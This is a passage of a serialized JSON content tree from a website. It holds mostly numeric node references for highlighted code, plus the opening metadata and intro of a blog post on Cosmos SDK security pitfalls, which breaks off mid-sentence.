8,"value":3627},{"type":22,"tag":118,"props":76297,"children":76298},{"style":210},[76299],{"type":28,"value":3604},{"type":22,"tag":118,"props":76301,"children":76302},{"style":125},[76303],{"type":28,"value":1474},{"type":22,"tag":118,"props":76305,"children":76306},{"class":120,"line":351},[76307,76311,76315,76319,76323,76327],{"type":22,"tag":118,"props":76308,"children":76309},{"style":204},[76310],{"type":28,"value":3643},{"type":22,"tag":118,"props":76312,"children":76313},{"style":210},[76314],{"type":28,"value":292},{"type":22,"tag":118,"props":76316,"children":76317},{"style":532},[76318],{"type":28,"value":3652},{"type":22,"tag":118,"props":76320,"children":76321},{"style":125},[76322],{"type":28,"value":540},{"type":22,"tag":118,"props":76324,"children":76325},{"style":204},[76326],{"type":28,"value":3613},{"type":22,"tag":118,"props":76328,"children":76329},{"style":125},[76330],{"type":28,"value":3665},{"type":22,"tag":118,"props":76332,"children":76333},{"class":120,"line":359},[76334,76338,76342,76346,76350,76354,76358,76362,76366,76370,76374,76378],{"type":22,"tag":118,"props":76335,"children":76336},{"style":210},[76337],{"type":28,"value":3673},{"type":22,"tag":118,"props":76339,"children":76340},{"style":210},[76341],{"type":28,"value":2164},{"type":22,"tag":118,"props":76343,"children":76344},{"style":204},[76345],{"type":28,"value":3478},{"type":22,"tag":118,"props":76347,"children":76348},{"style":210},[76349],{"type":28,"value":292},{"type":22,"tag":118,"props":76351,"children":76352},{"style":532},[76353],{"type":28,"value":3690},{"type":22,"tag":118,"props":76355,"children":76356},{"style":125},[76357],{"type":28,"value":540},{"type":22,"tag":118,"props":76359,"children":76360},{"style":210},[76361],{"type":28,"value":1407},{"type":22,"tag":118,"props":76363,"children":76364},{"style":204},[76365],{"type":28,"value":3451},{"type":22,"tag":118,"props":76367,"children":76368},{"style":210},[76369],{"type":28,"value":292},{"type":22,"tag":118,"props":76371,"children":76372},{"style":125},[76373],{"type":28,"value":3711},{"type":22,"tag":118,"props":76375,"children":76376},{"style":204},[76377],{"type":28,"value":3613},{"type":22,"tag":118,"props":76379,"children":76380},{"style":125},[76381],{"type":28,"value":3720},{"type":22,"tag":118,"props":76383,"children":76384},{"class":120,"line":368},[76385,76389,76393,76397,76401,76405,76409,76413],{"type":22,"tag":118,"props":76386,"children":76387},{"style":210},[76388],{"type":28,"value":3673},{"type":22,"tag":118,"props":76390,"children":76391},{"style":210},[76392],{"type":28,"value":2164},{"type":22,"tag":118,"props":76394,"children":76395},{"style":204},[76396],{"type":28,"value":3451},{"type":22,"tag":118,"props":76398,"children":76399},{"style":210},[76400],{"type":28,"value":292},{"type":22,"tag":118,"props":76402,"children":76403},{"style":532},[76404],{"type":28,"value":3744},{"type":22,"tag":118,"props":76406,"children":76407},{"style":125},[76408],{"type":28,"value":540},{"type":22,"tag":118,"props":76410,"children":76411},{"style":204},[76412],{"type":28,"value":3613},{"type":22,"tag":118,"props":76414,"children":76415},{"style":125},[76416],{"type":28,"value":3665},{"type":22,"tag":118,"props":76418,"children":76419},{"class":120,"line":384},[76420],{"type":22,"tag":118,"props":76421,"children":76422},{"style":125},[76423],{"type":28,"value":3764},{"type":22,"tag":118,"props":76425,"children":76426},{"class":120,"line":417},[76427,76431,76435,76439,76443,76447,76451,76455],{"type":22,"tag":118,"props":76428,"children":76429},{"style":210},[76430],{"type":28,"value":3546},{"type":22,"tag":118,"props":76432,"children":76433},{"style":532},[76434],{"type":28,"value":3776},{"type":22,"tag":118,"props":76436,"children":76437},{"style":210},[76438],{"type":28,"value":1190},{"type":22,"tag":118,"props":76440,"children":76441},{"style":125},[76442],{"type":28,"value":559},{"type":22,"tag":118,"props":76444,"children":76445},{"style":131},[76446],{"type":28,"value":3789},{"type":22,"tag":118,"props":76448,"children":76449},{"style":125},[76450],{"type":28,"value":559},{"type":22,"tag":118,"props":76452,"children":76453},{"style":204},[76454],{"type":28,"value":3422},{"type":22,"tag":118,"props":76456,"children":76457},{"style":125},[76458],{"type":28,"value":3802},{"type":22,"tag":118,"props":76460,"children":76461},{"class":120,"line":425},[76462,76466],{"type":22,"tag":118,"props":76463,"children":76464},{"style":146},[76465],{"type":28,"value":3810},{"type":22,"tag":118,"props":76467,"children":76468},{"style":125},[76469],{"type":28,"value":1474},{"type":22,"tag":118,"props":76471,"children":76472},{"class":120,"line":441},[76473,76477,76481,76485,76489,76493,76497,76501],{"type":22,"tag":118,"props":76474,"children":76475},{"style":204},[76476],{"type":28,"value":3822},{"type":22,"tag":118,"props":76478,"children":76479},{"style":210},[76480],{"type":28,"value":213},{"type":22,"tag":118,"props":76482,"children":76483},{"style":131},[76484],{"type":28,"value":3831},{"type":22,"tag":118,"props":76486,"children":76487},{"style":210},[76488],{"type":28,"value":1190},{"type":22,"tag":118,"props":76490,"children":76491},{"style":532},[76492],{"type":28,"value":3840},{"type":22,"tag":118,"props":76494,"children":76495},{"style":125},[76496],{"type":28,"value":540},{"type":22,"tag":118,"props":76498,"children":76499},{"style":204},[76500],{"type":28,"value":3451},{"type":22,"tag":118,"props":76502,"children":76503},{"style":125},[76504],{"type":28,"value":3853},{"type":22,"tag":118,"props":76506,"children":76507},{"class":120,"line":475},[76508,76512],{"type":22,"tag":118,"props":76509,"children":76510},{"style":204},[76511],{"type":28,"value":3861},{"type":22,"tag":118,"props":76513,"children":76514},{"style":125},[76515],{"type":28,"value":782},{"type":22,"tag":118,"props":76517,"children":76518},{"class":120,"line":484},[76519],{"type":22,"tag":118,"props":76520,"children":76521},{"style":125},[76522],{"type":28,"value":1835},{"type":22,"tag":118,"props":76524,"children":76525},{"class":120,"line":492},[76526],{"type":22,"tag":118,"props":76527,"children":76528},{"style":125},[76529],{"type":28,"value":1254},{"type":22,"tag":118,"props":76531,"children":76532},{"class":120,"line":501},[76533],{"type":22,"tag":118,"props":76534,"children":76535},{"style":125},[76536],{"type":28,"value":481},{"type":22,"tag":118,"props":76538,"children":76539},{"class":120,"line":519},[76540],{"type":22,"tag":118,"props":76541,"children":76542},{"emptyLinePlaceholder":15},[76543],{"type":28,"value":250},{"type":22,"tag":118,"props":76545,"children":76546},{"class":120,"line":606},[76547],{"type":22,"tag":118,"props":76548,"children":76549},{"style":257},[76550],{"type":28,"value":3901},{"type":22,"tag":118,"props":76552,"children":76553},{"class":120,"line":615},[76554,76558,76562,76566,76570,76574,76578,76582,76586,76590,76594,76598,76602,76606],{"type":22,"tag":118,"props":76555,"children":76556},{"style":146},[76557],{"type":28,"value":149},{"type":22,"tag":118,"props":76559,"children":76560},{"style":146},[76561],{"type":28,"value":529},{"type":22,"tag":118,"props":76563,"children":76564},{"style":532},[76565],{"type":28,"value":3917},{"type":22,"tag":118,"props":76567,"children":76568},{"style":125},[76569],{"type":28,"value":540},{"type":22,"tag":118,"props":76571,"children":76572},{"style":210},[76573],{"type":28,"value":1407},{"type":22,"tag":118,"props":76575,"children":76576},{"style":146},[76577],{"type":28,"value":1412},{"type":22,"tag":118,"props":76579,"children":76580},{"style":125},[76581],{"type":28,"value":231},{"type":22,"tag":118,"props":76583,"children":76584},{"style":204},[76585],{"type":28,"value":3613},{"type":22,"tag":118,"props":76587,"children":76588},{"style":210},[76589],{"type":28,"value":213},{"type":22,"tag":118,"props":76591,"children":76592},{"style":131},[76593],{"type":28,"value":3946},{"type":22,"tag":118,"props":76595,"children":76596},{"style":125},[76597],{"type":28,"value":588},{"type":22,"tag":118,"props":76599,"children":76600},{"style":210},[76601],{"type":28,"value":593},{"type":22,"tag":118,"props":76603,"children":76604},{"style":131},[76605],{"type":28,"value":1469},{"type":22,"tag":118,"props":76607,"children":76608},{"style":125},[76609],{"type":28,"value":1474},{"type":22,"tag":118,"props":76611,"children":76612},{"class":120,"line":685},[76613,76617,76621,76625,76629,76633,76637,76641,76645,76649,76653,76657],{"type":22,"tag":118,"props":76614,"children":76615},{"style":146},[76616],{"type":28,"value":2477},{"type":22,"tag":118,"props":76618,"children":76619},{"style":210},[76620],{"type":28,"value":292},{"type":22,"tag":118,"props":76622,"children":76623},{"style":532},[76624],{"type":28,"value":3978},{"type":22,"tag":118,"props":76626,"children":76627},{"style":125},[76628],{"type":28,"value":540},{"type":22,"tag":118,"props":76630,"children":76631},{"style":204},[76632],{"type":28,"value":3613},{"type":22,"tag":118,"props":76634,"children":76635},{"style":125},[76636],{"type":28,"value":588},{"type":22,"tag":118,"props":76638,"children":76639},{"style":210},[76640],{"type":28,"value":2187},{"type":22,"tag":118,"props":76642,"children":76643},{"style":210},[76644],{"type":28,"value":2164},{"type":22,"tag":118,"props":76646,"children":76647},{"style":146},[76648],{"type":28,"value":1412},{"type":22,"tag":118,"props":76650,"children":76651},{"style":210},[76652],{"type":28,"value":292},{"type":22,"tag":118,"props":76654,"children":76655},{"style":532},[76656],{"type":28,"value":4011},{"type":22,"tag":118,"props":76658,"children":76659},{"style":125},[76660],{"type":28,"value":2708},{"type":22,"tag":118,"props":76662,"children":76663},{"class":120,"line":699},[76664],{"type":22,"tag":118,"props":76665,"children":76666},{"style":125},[76667],{"type":28,"value":481},{"type":22,"tag":31,"props":76669,"children":76670},{},[76671],{"type":28,"value":4027},{"type":22,"tag":4029,"props":76673,"children":76674},{},[76675,76684],{"type":22,"tag":68,"props":76676,"children":76677},{},[76678,76679],{"type":28,"value":4036},{"type":22,"tag":42,"props":76680,"children":76682},{"href":4039,"rel":76681},[46],[76683],{"type":28,"value":4043},{"type":22,"tag":68,"props":76685,"children":76686},{},[76687],{"type":28,"value":4048},{"type":22,"tag":31,"props":76689,"children":76690},{},[76691],{"type":28,"value":4053},{"type":22,"tag":31,"props":76693,"children":76694},{},[76695],{"type":28,"value":4058},{"type":22,"tag":1899,"props":76697,"children":76698},{"id":4061},[76699],{"type":28,"value":4064},{"type":22,"tag":31,"props":76701,"children":76702},{},[76703,76704,76709],{"type":28,"value":4069},{"type":22,"tag":42,"props":76705,"children":76707},{"href":4039,"rel":76706},[46],[76708],{"type":28,"value":4043},{"type":28,"value":4076},{"type":22,"tag":31,"props":76711,"children":76712},{},[76713,76714,76719,76720,76724],{"type":28,"value":4081},{"type":22,"tag":42,"props":76715,"children":76717},{"href":4084,"rel":76716},[46],[76718],{"type":28,"value":4088},{"type":28,"value":4090},{"type":22,"tag":74,"props":76721,"children":76722},{},[76723],{"type":28,"value":4095},{"type":28,"value":4097},{"type":22,"tag":107,"props":76726,"children":76727},{"className":109,"code":4100,"language":111,"meta":7,"style":7},[76728],{"type":22,"tag":114,"props":76729,"children":76730},{"__ignoreMap":7},[76731,76738,76745,76768,76819,76854,76881],{"type":22,"tag":118,"props":76732,"children":76733},{"class":120,"line":121},[76734],{"type":22,"tag":118,"props":76735,"children":76736},{"style":257},[76737],{"type":28,"value":4112},{"type":22,"tag":118,"props":76739,"children":76740},{"class":120,"line":142},[76741],{"type":22,"tag":118,"props":76742,"children":76743},{"style":257},[76744],{"type":28,"value":4120},{"type":22,"tag":118,"props":76746,"children":76747},{"class":120,"line":177},[76748,76752,76756,76760,76764],{"type":22,"tag":118,"props":76749,"children":76750},{"style":146},[76751],{"type":28,"value":1412},{"type":22,"tag":118,"props":76753,"children":76754},{"style":210},[76755],{"type":28,"value":292},{"type":22,"tag":118,"props":76757,"children":76758},{"style":125},[76759],{"type":28,"value":4136},{"type":22,"tag":118,"props":76761,"children":76762},{"style":210},[76763],{"type":28,"value":282},{"type":22,"tag":118,"props":76765,"children":76766},{"style":125},[76767],{"type":28,"value":1474},{"type":22,"tag":118,"props":76769,"children":76770},{"class":120,"line":195},[76771,76775,76779,76783,76787,76791,76795,76799,76803,76807,76811,76815],{"type":22,"tag":118,"props":76772,"children":76773},{"style":146},[76774],{"type":28,"value":4152},{"type":22,"tag":118,"props":76776,"children":76777},{"style":146},[76778],{"type":28,"value":4157},{"type":22,"tag":118,"props":76780,"children":76781},{"style":204},[76782],{"type":28,"value":4162},{"type":22,"tag":118,"props":76784,"children":76785},{"style":210},[76786],{"type":28,"value":837},{"type":22,"tag":118,"props":76788,"children":76789},{"style":131},[76790],{"type":28,"value":4171},{"type":22,"tag":118,"props":76792,"children":76793},{"style":210},[76794],{"type":28,"value":1190},{"type":22,"tag":118,"props":76796,"children":76797},{"style":532},[76798],{"type":28,"value":4180},{"type":22,"tag":118,"props":76800,"children":76801},{"style":125},[76802],{"type":28,"value":540},{"type":22,"tag":118,"props":76804,"children":76805},{"style":210},[76806],{"type":28,"value":1407},{"type":22,"tag":118,"props":76808,"children":76809},{"style":146},[76810],{"type":28,"value":1412},{"type":22,"tag":118,"props":76812,"children":76813},{"style":210},[76814],{"type":28,"value":292},{"type":22,"tag":118,"props":76816,"children":76817},{"style":125},[76818],{"type":28,"value":4201},{"type":22,"tag":118,"props":76820,"children":76821},{"class":120,"line":244},[76822,76826,76830,76834,76838,76842,76846,76850],{"type":22,"tag":118,"props":76823,"children":76824},{"style":204},[76825],{"type":28,"value":4209},{"type":22,"tag":118,"props":76827,"children":76828},{"style":210},[76829],{"type":28,"value":292},{"type":22,"tag":118,"props":76831,"children":76832},{"style":532},[76833],{"type":28,"value":4218},{"type":22,"tag":118,"props":76835,"children":76836},{"style":125},[76837],{"type":28,"value":540},{"type":22,"tag":118,"props":76839,"children":76840},{"style":210},[76841],{"type":28,"value":1407},{"type":22,"tag":118,"props":76843,"children":76844},{"style":146},[76845],{"type":28,"value":1412},{"type":22,"tag":118,"props":76847,"children":76848},{"style":210},[76849],{"type":28,"value":292},{"type":22,"tag":118,"props":76851,"children":76852},{"style":125},[76853],{"type":28,"value":4239},{"type":22,"tag":118,"props":76855,"children":76856},{"class":120,"line":253},[76857,76861,76865,76869,76873,76877],{"type":22,"tag":118,"props":76858,"children":76859},{"style":131},[76860],{"type":28,"value":4247},{"type":22,"tag":118,"props":76862,"children":76863},{"style":210},[76864],{"type":28,"value":1190},{"type":22,"tag":118,"props":76866,"children":76867},{"style":532},[76868],{"type":28,"value":4256},{"type":22,"tag":118,"props":76870,"children":76871},{"style":125},[76872],{"type":28,"value":540},{"type":22,"tag":118,"props":76874,"children":76875},{"style":204},[76876],{"type":28,"value":4265},{"type":22,"tag":118,"props":76878,"children":76879},{"style":125},[76880],{"type":28,"value":3665},{"type":22,"tag":118,"props":76882,"children":76883},{"class":120,"line":263},[76884],{"type":22,"tag":118,"props":76885,"children":76886},{"style":125},[76887],{"type":28,"value":4277},{"type":22,"tag":1899,"props":76889,"children":76890},{"id":4280},[76891],{"type":28,"value":4283},{"type":22,"tag":31,"props":76893,"children":76894},{},[76895],{"type":28,"value":4288},{"type":22,"tag":107,"props":76897,"children":76898},{"className":109,"code":4291,"language":111,"meta":7,"style":7},[76899],{"type":22,"tag":114,"props":76900,"children":76901},{"__ignoreMap":7},[76902,76917,76944,76959,76998,77005,77052,77083,77090,77105,77136,77143,77158,77189],{"type":22,"tag":118,"props":76903,"children":76904},{"class":120,"line":121},[76905,76909,76913],{"type":22,"tag":118,"props":76906,"children":76907},{"style":125},[76908],{"type":28,"value":128},{"type":22,"tag":118,"props":76910,"children":76911},{"style":131},[76912],{"type":28,"value":134},{"type":22,"tag":118,"props":76914,"children":76915},{"style":125},[76916],{"type":28,"value":139},{"type":22,"tag":118,"props":76918,"children":76919},{"class":120,"line":142},[76920,76924,76928,76932,76936,76940],{"type":22,"tag":118,"props":76921,"children":76922},{"style":146},[76923],{"type":28,"value":149},{"type":22,"tag":118,"props":76925,"children":76926},{"style":146},[76927],{"type":28,"value":154},{"type":22,"tag":118,"props":76929,"children":76930},{"style":131},[76931],{"type":28,"value":159},{"type":22,"tag":118,"props":76933,"children":76934},{"style":125},[76935],{"type":28,"value":164},{"type":22,"tag":118,"props":76937,"children":76938},{"style":131},[76939],{"type":28,"value":169},{"type":22,"tag":118,"props":76941,"children":76942},{"style":125},[76943],{"type":28,"value":174},{"type":22,"tag":118,"props":76945,"children":76946},{"class":120,"line":177},[76947,76951,76955],{"type":22,"tag":118,"props":76948,"children":76949},{"style":125},[76950],{"type":28,"value":183},{"type":22,"tag":118,"props":76952,"children":76953},{"style":146},[76954],{"type":28,"value":188},{"type":22,"tag":118,"props":76956,"children":76957},{"style":125},[76958],{"type":28,"value":139},{"type":22,"tag":118,"props":76960,"children":76961},{"class":120,"line":195},[76962,76966,76970,76974,76978,76982,76986,76990,76994],{"type":22,"tag":118,"props":76963,"children":76964},{"style":146},[76965],{"type":28,"value":201},{"type":22,"tag":118,"props":76967,"children":76968},{"style":204},[76969],{"type":28,"value":207},{"type":22,"tag":118,"props":76971,"children":76972},{"style":210},[76973],{"type":28,"value":213},{"type":22,"tag":118,"props":76975,"children":76976},{"style":131},[76977],{"type":28,"value":218},{"type":22,"tag":118,"props":76979,"children":76980},{"style":125},[76981],{"type":28,"value":164},{"type":22,"tag":118,"props":76983,"children":76984},{"style":131},[76985],{"type":28,"value":169},{"type":22,"tag":118,"props":76987,"children":76988},{"style":125},[76989],{"type":28,"value":231},{"type":22,"tag":118,"props":76991,"children":76992},{"style":131},[76993],{"type":28,"value":236},{"type":22,"tag":118,"props":76995,"children":76996},{"style":125},[76997],{"type":28,"value":241},{"type":22,"tag":118,"props":76999,"children":77000},{"class":120,"line":244},[77001],{"type":22,"tag":118,"props":77002,"children":77003},{"emptyLinePlaceholder":15},[77004],{"type":28,"value":250},{"type":22,"tag":118,"props":77006,"children":77007},{"class":120,"line":253},[77008,77012,77016,77020,77024,77028,77032,77036,77040,77044,77048],{"type":22,"tag":118,"props":77009,"children":77010},{"style":125},[77011],{"type":28,"value":183},{"type":22,"tag":118,"props":77013,"children":77014},{"style":146},[77015],{"type":28,"value":188},{"type":22,"tag":118,"props":77017,"children":77018},{"style":125},[77019],{"type":28,"value":277},{"type":22,"tag":118,"props":77021,"children":77022},{"style":210},[77023],{"type":28,"value":282},{"type":22,"tag":118,"props":77025,"children":77026},{"style":125},[77027],{"type":28,"value":287},{"type":22,"tag":118,"props":77029,"children":77030},{"style":210},[77031],{"type":28,"value":292},{"type":22,"tag":118,"props":77033,"children":77034},{"style":125},[77035],{"type":28,"value":297},{"type":22,"tag":118,"props":77037,"children":77038},{"style":210},[77039],{"type":28,"value":302},{"type":22,"tag":118,"props":77041,"children":77042},{"style":125},[77043],{"type":28,"value":207},{"type":22,"tag":118,"props":77045,"children":77046},{"style":210},[77047],{"type":28,"value":292},{"type":22,"tag":118,"props":77049,"children":77050},{"style":125},[77051],{"type":28,"value":315},{"type":22,"tag":118,"props":77053,"children":77054},{"class":120,"line":263},[77055,77059,77063,77067,77071,77075,77079],{"type":22,"tag":118,"props":77056,"children":77057},{"style":146},[77058],{"type":28,"value":201},{"type":22,"tag":118,"props":77060,"children":77061},{"style":204},[77062],{"type":28,"value":287},{"type":22,"tag":118,"props":77064,"children":77065},{"style":210},[77066],{"type":28,"value":213},{"type":22,"tag":118,"props":77068,"children":77069},{"style":131},[77070],{"type":28,"value":336},{"type":22,"tag":118,"props":77072,"children":77073},{"style":125},[77074],{"type":28,"value":164},{"type":22,"tag":118,"props":77076,"children":77077},{"style":131},[77078],{"type":28,"value":169},{"type":22,"tag":118,"props":77080,"children":77081},{"style":125},[77082],{"type":28,"value":241},{"type":22,"tag":118,"props":77084,"children":77085},{"class":120,"line":318},[77086],{"type":22,"tag":118,"props":77087,"children":77088},{"emptyLinePlaceholder":15},[77089],{"type":28,"value":250},{"type":22,"tag":118,"props":77091,"children":77092},{"class":120,"line":351},[77093,77097,77101],{"type":22,"tag":118,"props":77094,"children":77095},{"style":125},[77096],{"type":28,"value":183},{"type":22,"tag":118,"props":77098,"children":77099},{"style":146},[77100],{"type":28,"value":188},{"type":22,"tag":118,"props":77102,"children":77103},{"style":125},[77104],{"type":28,"value":139},{"type":22,"tag":118,"props":77106,"children":77107},{"class":120,"line":359},[77108,77112,77116,77120,77124,77128,77132],{"type":22,"tag":118,"props":77109,"children":77110},{"style":146},[77111],{"type":28,"value":201},{"type":22,"tag":118,"props":77113,"children":77114},{"style":204},[77115],{"type":28,"value":394},{"type":22,"tag":118,"props":77117,"children":77118},{"style":210},[77119],{"type":28,"value":213},{"type":22,"tag":118,"props":77121,"children":77122},{"style":131},[77123],{"type":28,"value":336},{"type":22,"tag":118,"props":77125,"children":77126},{"style":125},[77127],{"type":28,"value":164},{"type":22,"tag":118,"props":77129,"children":77130},{"style":131},[77131],{"type":28,"value":169},{"type":22,"tag":118,"props":77133,"children":77134},{"style":125},[77135],{"type":28,"value":241},{"type":22,"tag":118,"props":77137,"children":77138},{"class":120,"line":368},[77139],{"type":22,"tag":118,"props":77140,"children":77141},{"emptyLinePlaceholder":15},[77142],{"type":28,"value":250},{"type":22,"tag":118,"props":77144,"children":77145},{"class":120,"line":384},[77146,77150,77154],{"type":22,"tag":118,"props":77147,"children":77148},{"style":125},[77149],{"type":28,"value":183},{"type":22,"tag":118,"props":77151,"children":77152},{"style":146},[77153],{"type":28,"value":188},{"type":22,"tag":118,"props":77155,"children":77156},{"style":125},[77157],{"type":28,"value":139},{"type":22,"tag":118,"props":77159,"children":77160},{"class":120,"line":417},[77161,77165,77169,77173,77177,77181,77185],{"type":22,"tag":118,"props":77162,"children":77163},{"style":146},[77164],{"type":28,"value":201},{"type":22,"tag":118,"props":77166,"children":77167},{"style":204},[77168],{"type":28,"value":451},{"type":22,"tag":118,"props":77170,"children":77171},{"style":210},[77172],{"type":28,"value":213},{"type":22,"tag":118,"props":77174,"children":77175},{"style":131},[77176],{"type":28,"value":460},{"type":22,"tag":118,"props":77178,"children":77179},{"style":125},[77180],{"type":28,"value":164},{"type":22,"tag":118,"props":77182,"children":77183},{"style":131},[77184],{"type":28,"value":169},{"type":22,"tag":118,"props":77186,"children":77187},{"style":125},[77188],{"type":28,"value":241},{"type":22,"tag":118,"props":77190,"children":77191},{"class":120,"line":425},[77192],{"type":22,"tag":118,"props":77193,"children":77194},{"style":125},[77195],{"type":28,"value":481},{"type":22,"tag":31,"props":77197,"children":77198},{},[77199,77200,77205,77206,77211],{"type":28,"value":4594},{"type":22,"tag":114,"props":77201,"children":77203},{"className":77202},[],[77204],{"type":28,"value":4600},{"type":28,"value":4602},{"type":22,"tag":114,"props":77207,"children":77209},{"className":77208},[],[77210],{"type":28,"value":4608},{"type":28,"value":4610},{"type":22,"tag":1899,"props":77213,"children":77214},{"id":4613},[77215,77216],{"type":28,"value":4616},{"type":22,"tag":114,"props":77217,"children":77219},{"className":77218},[],[77220],{"type":28,"value":4622},{"type":22,"tag":31,"props":77222,"children":77223},{},[77224,77225,77230],{"type":28,"value":4627},{"type":22,"tag":114,"props":77226,"children":77228},{"className":77227},[],[77229],{"type":28,"value":4622},{"type":28,"value":4634},{"type":22,"tag":107,"props":77232,"children":77233},{"className":109,"code":4637,"language":111,"meta":7,"style":7},[77234],{"type":22,"tag":114,"props":77235,"children":77236},{"__ignoreMap":7},[77237,77256,77275,77302],{"type":22,"tag":118,"props":77238,"children":77239},{"class":120,"line":121},[77240,77244,77248,77252],{"type":22,"tag":118,"props":77241,"children":77242},{"style":131},[77243],{"type":28,"value":4649},{"type":22,"tag":118,"props":77245,"children":77246},{"style":210},[77247],{"type":28,"value":1190},{"type":22,"tag":118,"props":77249,"children":77250},{"style":532},[77251],{"type":28,"value":4658},{"type":22,"tag":118,"props":77253,"children":77254},{"style":125},[77255],{"type":28,"value":696},{"type":22,"tag":118,"props":77257,"children":77258},{"class":120,"line":142},[77259,77263,77267,77271],{"type":22,"tag":118,"props":77260,"children":77261},{"style":125},[77262],{"type":28,"value":4670},{"type":22,"tag":118,"props":77264,"children":77265},{"style":210},[77266],{"type":28,"value":1190},{"type":22,"tag":118,"props":77268,"children":77269},{"style":532},[77270],{"type":28,"value":4679},{"type":22,"tag":118,"props":77272,"children":77273},{"style":125},[77274],{"type":28,"value":768},{"type":22,"tag":118,"props":77276,"children":77277},{"class":120,"line":177},[77278,77282,77286,77290,77294,77298],{"type":22,"tag":118,"props":77279,"children":77280},{"style":125},[77281],{"type":28,"value":4691},{"type":22,"tag":118,"props":77283,"children":77284},{"style":210},[77285],{"type":28,"value":1190},{"type":22,"tag":118,"props":77287,"children":77288},{"style":125},[77289],{"type":28,"value":4700},{"type":22,"tag":118,"props":77291,"children":77292},{"style":210},[77293],{"type":28,"value":1190},{"type":22,"tag":118,"props":77295,"children":77296},{"style":532},[77297],{"type":28,"value":4679},{"type":22,"tag":118,"props":77299,"children":77300},{"style":125},[77301],{"type":28,"value":768},{"type":22,"tag":118,"props":77303,"children":77304},{"class":120,"line":195},[77305],{"type":22,"tag":118,"props":77306,"children":77307},{"style":125},[77308],{"type":28,"value":3665},{"type":22,"tag":31,"props":77310,"children":77311},{},[77312,77313,77318,77319,77324],{"type":28,"value":4724},{"type":22,"tag":114,"props":77314,"children":77316},{"className":77315},[],[77317],{"type":28,"value":4700},{"type":28,"value":4731},{"type":22,"tag":114,"props":77320,"children":77322},{"className":77321},[],[77323],{"type":28,"value":4737},{"type":28,"value":4739},{"type":22,"tag":31,"props":77326,"children":77327},{},[77328,77329,77334],{"type":28,"value":4744},{"type":22,"tag":114,"props":77330,"children":77332},{"className":77331},[],[77333],{"type":28,"value":4737},{"type":28,"value":4751},{"type":22,"tag":1899,"props":77336,"children":77337},{"id":4754},[77338],{"type":28,"value":4757},{"type":22,"tag":31,"props":77340,"children":77341},{},[77342,77343,77347],{"type":28,"value":4762},{"type":22,"tag":4764,"props":77344,"children":77345},{},[77346],{"type":28,"value":4768},{"type":28,"value":4770},{"type":22,"tag":1899,"props":77349,"children":77350},{"id":4773},[77351],{"type":28,"value":4776},{"type":22,"tag":31,"props":77353,"children":77354},{},[77355],{"type":28,"value":4781},{"type":22,"tag":107,"props":77357,"children":77358},{"className":1912,"code":4784,"language":1914,"meta":7,"style":7},[77359],{"type":22,"tag":114,"props":77360,"children":77361},{"__ignoreMap":7},[77362,77369],{"type":22,"tag":118,"props":77363,"children":77364},{"class":120,"line":121},[77365],{"type":22,"tag":118,"props":77366,"children":77367},{"style":125},[77368],{"type":28,"value":4796},{"type":22,"tag":118,"props":77370,"children":77371},{"class":120,"line":142},[77372],{"type":22,"tag":118,"props":77373,"children":77374},{"style":674},[77375],{"type":28,"value":4804},{"type":22,"tag":31,"props":77377,"children":77378},{},[77379,77380,77385],{"type":28,"value":4809},{"type":22,"tag":114,"props":77381,"children":77383},{"className":77382},[],[77384],{"type":28,"value":4649},{"type":28,"value":4816},{"type":22,"tag":1899,"props":77387,"children":77388},{"id":4819},[77389],{"type":28,"value":4822},{"type":22,"tag":31,"props":77391,"children":77392},{},[77393,77394,77398],{"type":28,"value":4827},{"type":22,"tag":74,"props":77395,"children":77396},{},[77397],{"type":28,"value":4832},{"type":28,"value":4834},{"type":22,"tag":31,"props":77400,"children":77401},{},[77402],{"type":28,"value":4839},{"type":22,"tag":23,"props":77404,"children":77405},{"id":4842},[77406],{"type":28,"value":4845},{"type":22,"tag":31,"props":77408,"children":77409},{},[77410],{"type":28,"value":4850},{"type":22,"tag":31,"props":77412,"children":77413},{},[77414],{"type":28,"value":4855},{"type":22,"tag":64,"props":77416,"children":77417},{},[77418,77422,77426],{"type":22,"tag":68,"props":77419,"children":77420},{},[77421],{"type":28,"value":4863},{"type":22,"tag":68,"props":77423,"children":77424},{},[77425],{"type":28,"value":4868},{"type":22,"tag":68,"props":77427,"children":77428},{},[77429],{"type":28,"value":4873},{"type":22,"tag":31,"props":77431,"children":77432},{},[77433],{"type":28,"value":4878},{"type":22,"tag":4880,"props":77435,"children":77436},{},[77437],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":77439},[77440,77441,77442,77447],{"id":25,"depth":142,"text":29},{"id":54,"depth":142,"text":57},{"id":1284,"depth":142,"text":1287,"children":77443},[77444,77445,77446],{"id":1291,"depth":177,"text":1294},{"id":2006,"depth":177,"text":4893},{"id":3349,"depth":177,"text":3352},{"id":4842,"depth":142,"text":4845},{"_path":77449,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77450,"description":77451,"date":77452,"author":77453,"image":77454,"isFeatured":15,"onBlogPage":15,"tags":77456,"body":77459,"_type":4896,"_id":91344,"_source":4898,"_file":91345,"_stem":91346,"_extension":4901},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":77455,"width":13,"height":13},"/posts/cosmos-security/title.png",[77457,77458],"cosmos-sdk","security",{"type":19,"children":77460,"toc":91322},[77461,77465,77470,77475,77481,77486,77491,77496,77757,78246,78265,78270,78275,78280,78286,78291,78326,78336,78843,78863,78876,78882,78887,78892,79133,79138,79146,79158,79520,79525,79530,79566,79575,80001,80022,80028,80048,80069,80088,80120,80132,80144,80798,80826,80835,81275,81302,81322,81327,81348,81397,81406,82638,82666,82672,82677,82682,82702,82989,83023,83204,83209,83214,83258,83267,84459,84710,84723,84729,84763,84768,84831,84836,84856,84875,84887,84906,85598,85603,85608,85636,85645,86530,86557,86563,86583,86588,86601,86775,86788,86879,86884,86892,86902,87052,87057,87077,87085,87090,87488,87500,87505,87546,87557,87577,87885,87890,88815,88827,88835,88840,89833,89838,89850,89870,89889,90803,90860,90966,90978,90983,90988,91016,91025,91251,91277,91290,91304,91308,91313,91318],{"type":22,"tag":23,"props":77462,"children":77463},{"id":25},[77464],{"type":28,"value":29},{"type":22,"tag":31,"props":77466,"children":77467},{},[77468],{"type":28,"value":77469},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":22,"tag":31,"props":77471,"children":77472},{},[77473],{"type":28,"value":77474},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world 